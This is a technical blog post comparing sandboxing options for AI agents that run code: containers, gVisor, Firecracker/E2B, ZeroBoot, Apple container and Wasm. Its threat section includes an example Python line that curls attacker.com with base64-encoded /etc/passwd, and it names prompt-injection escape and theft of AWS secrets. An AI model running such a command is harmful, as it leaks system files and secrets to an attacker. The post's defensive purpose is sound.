From containers to microVMs — isolating code execution for AI agents
Agents that execute code need isolation, but isolation costs overhead. This breaks down six sandboxing approaches — containers, gVisor, Firecracker, ZeroBoot, Apple container, and Wasm — so you can pick the right trade-off for your threat model.
A few days ago a project called ZeroBoot hit the front page of Hacker News. It claims it can boot a complete Linux VM within 0.79ms (p50). The comments section first refused to believe it, then started arguing — how is that even possible? Firecracker, a microVM designed specifically for serverless, needs 150ms+ for a cold start. 0.79ms means you could cold-start 1,000 isolated VMs within a single second.
This isn’t magic. It’s engineering cleverness — Copy-on-Write KVM fork. And it throws the core tension of AI agent sandboxes right onto the table: an agent executing code needs isolation; isolation means overhead. ZeroBoot gives one extreme answer. Starting here, let’s take apart the principles and trade-offs of several mainstream sandboxing approaches.
Why does an agent executing code need a sandbox?
Tool calling vs. code execution. A traditional agent calls tools — search, query a database, send an email — behaviors that are enumerable and auditable. Code execution is different: it’s Turing-complete. The moment an agent can run arbitrary code, it can do exactly what a programmer sitting at a terminal can do.
A seemingly harmless task like “analyze this CSV for me” might hide code the agent generates:
import os
os.system("curl https://attacker.com/$(cat /etc/passwd | base64)")
Three core threats:
- Prompt-injection escape: malicious content lures the agent into executing the attacker’s code, reading secrets, or reaching out externally.
- Resource abuse: infinite loops, fork bombs, filling the disk — any of these can drag down the whole host.
- Lateral movement: reading
$AWS_SECRET_ACCESS_KEY, accessing other users’ data on the same machine.
This is exactly why some choose microVMs over containers — different threat models, different tolerance for isolation cost.
From light to heavy: a spectrum of sandboxing approaches
Before diving in, build a framework. Sandbox isolation is a continuous gradient — from light to heavy, isolation strength and resource cost rise together:
| Approach | Isolation mechanism | Startup latency | Memory / sandbox | Typical users |
|---|---|---|---|---|
| Container (Docker) | namespace + cgroup | ~500ms | tens of MB | PatchPal, local dev |
| gVisor | user-space Linux kernel | ~100ms | higher | Google Cloud Run |
| Firecracker / E2B | independent-kernel microVM | ~150ms | default 1GB (512MB–8GB) | Manus, Perplexity |
| ZeroBoot | CoW KVM fork | 0.79ms | 265KB | high-concurrency |
| Apple container | per-container VM | seconds | higher | macOS local dev |
| Wasm (Edge.js) | Wasm linear memory model | milliseconds | extremely low | JS/Node agents |
Newer isn’t always better — better-matched is. Three dimensions — threat level, performance requirement, platform constraint — jointly decide the choice. Let’s break down each approach.
Container approach: how PatchPal does it
What PatchPal is: a locally deployable AI code-fixing agent supporting OpenAI, Anthropic, local Ollama, and other model backends, isolating the code-execution environment with Docker or Podman.
Core design: PatchPal’s sandbox logic lives in sandbox.py:
- Stateless:
--rmdestroys the container immediately after execution, leaving no state. - Network isolation:
--network noneby default, with--host-networkfor local Ollama. - Workspace mount: the current directory is mounted as
/workspace; the host’s other paths are inaccessible. - Env whitelist: only
PATCHPAL_*,OPENAI_*,ANTHROPIC_*prefixes are passed through, preventing host config leaks.
The essential limitation of containers: a container isolates the view, not the kernel itself. All containers share the host’s single Linux kernel. Namespaces separate the filesystem, network, and PID views, but the kernel is shared. Historically multiple kernel vulnerabilities have escaped from a container to the host (e.g., CVE-2019-5736, the runc escape). For low-threat scenarios, containers are sufficient and simple. But for multi-tenant, publicly exposed agent services, a shared kernel is a fundamental risk.
MicroVM: Firecracker + E2B
Firecracker’s design philosophy: the microVM AWS built for Lambda and Fargate. One core principle: minimal attack surface. Traditional VMs (QEMU) emulate complete hardware — USB controllers, PCI buses, sound cards, GPUs — every emulated device is a potential attack surface. Firecracker aggressively trims down to only the devices needed to run Linux containers:
| Firecracker | QEMU | |
|---|---|---|
| Lines of code | ~100k | ~2M |
| Virtual devices | only 6 (virtio-net/blk/balloon/vsock + serial + keyboard controller) | full hardware emulation |
| Boot time | <125ms | seconds |
| Memory / VM | ~5MB | higher |
More importantly: each microVM has its own independent Linux kernel. Two sandboxes share no kernel code path, fundamentally eliminating the possibility of a kernel vulnerability spreading laterally.
E2B’s architecture: builds a complete AI sandbox cloud service on top of Firecracker, used in production by Manus, Perplexity, and others. The key to startup speed is the pre-warmed snapshot: boot a batch of VMs to ready state in advance and take memory snapshots; when a new request arrives, restore from the snapshot instead of booting the kernel from scratch. This compresses cold-start to ~150ms. In Manus’s architecture, every agent task gets a complete E2B sandbox VM containing Chromium, a terminal, a filesystem, and 27 kinds of tools — one sandbox is a complete virtual computer.
The cost of microVMs: stronger isolation means higher overhead. Every Firecracker VM needs its own kernel image and memory space (E2B allocates 1GB RAM/sandbox by default), a non-trivial cost at high concurrency. This is exactly what ZeroBoot tries to solve.
ZeroBoot: dissecting the CoW black magic
Copy-on-Write: why it’s faster than snapshots. E2B’s pre-warmed snapshot compresses startup to ~150ms, but the bottleneck is still memory copy: restoring a VM requires writing the snapshot data into a new address space; copying a 256MB image itself takes time. ZeroBoot’s insight: most of that copy is redundant. The Python interpreter, numpy code segments, standard library — all identical across sandboxes. ZeroBoot uses mmap(MAP_PRIVATE): reads access the original snapshot pages directly (zero copy); only writes trigger CoW allocation of new pages. The result: almost no memory copy at sandbox startup.
Moving this mechanism onto a KVM VM is ZeroBoot’s core. Its fork engine (src/vmm/kvm.rs) creates a new sandbox in five steps. Step ④’s order is strictly fixed — XSAVE (extended processor state, including FPU/SIMD registers) must be restored before the base registers, otherwise state gets overwritten; the final MP_STATE must be set to RUNNABLE, otherwise the vCPU gets stuck in HLT and the VM won’t boot.
Performance data:
| Metric | ZeroBoot | E2B | Daytona |
|---|---|---|---|
| Spawn p50 | 0.79ms | ~150ms | ~27ms |
| Spawn p99 | 1.74ms | ~300ms | ~90ms |
| Memory / sandbox | ~265KB | ~128MB | ~50MB |
| 1000 concurrent forks | 815ms | — | — |
Cost and status:
- Memory amplification: 265KB is the number before CoW triggers — the cost of shared snapshot pages. The more a sandbox writes, the closer its real physical memory gets to a full VM (~256MB). Under write-heavy loads, the memory advantage shrinks significantly.
- Platform limits: depends on KVM, Linux only, requires bare metal or cloud instances with nested virtualization.
- Project status: working prototype. Benchmarks are real, but the authors explicitly label it “not production-hardened.”
Apple container: a third form between container and VM
An interesting naming paradox: Apple container is an interesting creature — named “container,” but built on VMs. It’s based on macOS’s Virtualization.framework; each container runs in an independent Linux VM. Yet it’s fully OCI-compatible — images you docker pull work directly, and the CLI style matches Docker.
This is a deliberate trade-off: VM-level isolation strength, delivered with a container-level developer experience.
Essential difference from Docker Desktop: 20 containers in Docker Desktop = 1 VM + 20 processes; in Apple container = 20 independent VMs. Isolation granularity goes from container-level to VM-level.
Comparison with Kata Containers: Apple container isn’t the only one on the “VM per container” path — Kata Containers proposed it earlier. Their positioning is completely different:
| Kata Containers | Apple container | |
|---|---|---|
| Target scenario | cloud-native multi-tenant | macOS local dev |
| Virtualization backend | QEMU / Firecracker / Cloud-Hypervisor (5 kinds) | Virtualization.framework |
| Platform | Linux (any hardware) | macOS only (Apple Silicon) |
| Rosetta 2 support | none | can run x86 images directly |
What it means for agent sandboxes: for Mac developers running agents locally, Apple container is an attractive option — stronger isolation than Docker Desktop, free, officially maintained, no third-party virtualization tools needed. The cost is equally clear: each VM holds memory exclusively and doesn’t release it fully (limited by Virtualization.framework’s memory reclamation, still unresolved as of the latest version); the project is still v0.x, stability questionable.
The Wasm path: sandboxes that don’t need an OS
If an agent only needs to execute JavaScript or TypeScript, there’s a lighter path — run it in a WebAssembly sandbox, with no dependency on containers or VMs at all.
Wasmer adopts a hybrid architecture: the JS engine (V8/JSC/QuickJS) runs natively for performance, while OS calls and native modules are sandboxed through WASIX (the Wasm POSIX extension). In --safe mode, all system calls are explicitly authorized through the WASIX layer. (An earlier project tried compiling the entire Node.js, including V8, into Wasm, but V8’s performance loss under the Wasm interpreter was too great, so Edge.js explicitly abandoned that route.) The isolation comes from Wasm’s memory model itself: a Wasm program runs in a block of linear memory and cannot directly access any address outside it. The sandbox boundary is guaranteed by the language spec itself — no namespaces, no hypervisor needed.
Practical effects:
- Startup in milliseconds, extremely low memory overhead.
- Fully Node.js-semantic compatible; existing JS agents and MCP servers migrate directly.
- No Docker or any virtualization tool to install.
Limitations are equally clear: only suitable for JS/TS workloads; IO-intensive scenarios take a performance hit; Python, Go, and other languages have no equivalent yet.
How to choose?
No universal answer. Three dimensions decide.
Eliminate by platform constraint first:
- Only JS/TS? → Wasm / Edge.js (lightest, no virtualization)
- macOS local dev? → Apple container (native, free, VM-level isolation)
- Linux server? → read on
Threat level × performance need (once on Linux):
| Low concurrency | High concurrency | |
|---|---|---|
| Low threat (internal tools, trusted users) | Docker container | Docker container + resource limits |
| Medium threat (multi-tenant, untrusted input) | Firecracker / E2B | Firecracker / E2B + warm pool |
| High threat + extreme concurrency | Firecracker / E2B | ZeroBoot (cutting-edge, not production-ready) |
A practical judgment standard: ask yourself one question — if this sandbox is compromised, what’s the worst that could happen?
- Impact limited to this task itself → container is enough
- Might affect other users’ data on the same machine → need a microVM
- Publicly exposed, attacker has strong motivation → microVM, and seriously evaluate ZeroBoot’s maturity
Closing
From Docker containers to Firecracker microVMs, to ZeroBoot’s CoW fork — every step is a different answer to the same contradiction: how to find a new balance point between isolation strength and startup overhead.
ZeroBoot’s 0.79ms is a signal worth watching. When VM startup latency is compressed to this level, the gap between microVMs and containers on the “startup overhead” dimension nearly vanishes — leaving only the difference in isolation strength, where microVMs have a crushing advantage. If ZeroBoot’s direction is validated and matures, the long-standing trade-off of “containers for performance, VMs for security” may be rewritten.
But the more fundamental shift is this: the fact that AI agents are executing code at scale is turning the sandbox from a “developer tool” into an “infrastructure problem.” The cost of choosing the wrong isolation approach is no longer performance loss — it’s a security incident.
The pace of technological evolution in this field is far from over.
Follow me